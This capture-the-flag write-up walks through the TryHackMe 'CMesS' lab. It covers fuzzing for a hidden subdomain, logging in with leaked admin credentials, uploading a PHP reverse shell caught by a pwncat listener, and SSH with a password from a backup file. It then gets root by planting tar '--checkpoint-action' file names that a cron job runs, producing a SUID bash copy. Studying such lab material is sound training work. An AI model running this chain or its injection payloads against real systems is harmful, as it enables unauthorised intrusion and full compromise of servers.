> For the complete documentation index, see [llms.txt](https://ret2basic.gitbook.io/ctfwriteup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ret2basic.gitbook.io/ctfwriteup/red-teaming/tcm-linux-privilege-escalation-course/tryhackme-cmess-medium.md).

# TryHackMe - CMesS (Medium)

## Summary

Subdomain fuzzing with Wfuzz finds a hidden domain `dev.cmess.htb`. This domain hosts a static page that leaks CMS admin panel credential. In the admin panel, there is an upload form where we can upload `php-reverse-shell.php` and catch a reverse shell as www-data.

On the victim machine, there is a backup file that leaks the user Andre's password. At this stage we can SSH in as Andre and get a user shell.

In the privilege escalation phase, we find a "cron wildcard" vulnerability and get a root shell with `tar` injection.

## IP

* RHOST: 10.10.39.82
* LHOST: 10.13.12.2

## Nmap

![Nmap](https://i.imgur.com/4KVxG2x.png)

## Directory Fuzzing

Fuzz directory using Gobuster:

```bash
gobuster dir -u http://cmess.thm/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
```

Gobuster finds a directory `/admin`:

![Gobuster](https://i.imgur.com/4udg6xV.png)

The directory `/admin` has a login form, but we don't know the credential yet:

![Login form](https://i.imgur.com/E2BLt9j.png)

## VHost Discovery

Fuzz subdomain using Wfuzz:

```bash
wfuzz -c -u 'http://cmess.thm' -H "Host:FUZZ.cmess.thm" -w top5000.txt --hw 290
```

Wfuzz finds `dev.cmess.thm`:

Update `/etc/hosts`:

![/etc/hosts](https://i.imgur.com/mOiMTmF.png)

## Admin Panel: Leaked Credential in Hidden Subdomain

`http://dev.cmess.thm` has a development log. Through the convention between Andre and the support, we can learn his credential `andre@cmess.thm:KPFTN_f2yxe%`:

![Development Log](https://i.imgur.com/oLzpyG7.png)

Use this credential for admin panel login and now we have access to the admin panel:

![Admin panel](https://i.imgur.com/DgFQjnp.png)

## www-data Shell: File Upload

Go to "Content => File Manager" and we find an upload form:

![Upload form](https://i.imgur.com/hHhknnN.png)

Upload `php-reverse-shell.php`. It turns out that the uploaded files are stored in `/assets`:

![assets](https://i.imgur.com/zbxa5m5.png)

Start a pwncat listener:

```bash
pwncat-cs :443
```

Trigger the reverse shell payload at `http://cmess.thm/assets/php-reverse-shell.php` and catch a reverse shell as `www-data`:

![www-data shell](https://i.imgur.com/6bMMkZ6.png)

## User Shell: Leaked Credential in Backup File

LinPEAS finds a readable backup file `/opt/.password.bak`:

![/opt/.password.bak](https://i.imgur.com/11i3XSp.png)

This file contains Andre's password:

![Andre's password](https://i.imgur.com/9sigKTx.png)

SSH in using the credential `andre:UQfsdCB7aAP6` and now we get a user shell:

![User shell](https://i.imgur.com/hhV8DqW.png)

## Privilege Escalation: Cron Wildcard

Examine crontab:

![Crontab](https://i.imgur.com/vaSgwkC.png)

This falls into the **"cron wildcard"** scenario. To learn more, read my note:

{% embed url="<https://www.ctfnote.com/pentest/linux-privilege-escalation/cron-jobs>" %}
Linux Privilege Escalation: Cron Jobs
{% endembed %}

Prepare a payload:

```bash
$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > ~/backup/runme.sh
$ chmod +x ~/backup/runme.sh
$ touch ~/backup/--checkpoint=1
$ touch ~/backup/--checkpoint-action=exec=sh\ runme.sh
```

Wait 2 minutes for the cronjob to run the payload script and then spawn a root shell:

```bash
/tmp/bash -p
```

Now we have a root shell:

![root shell](https://i.imgur.com/mYnD5vD.png)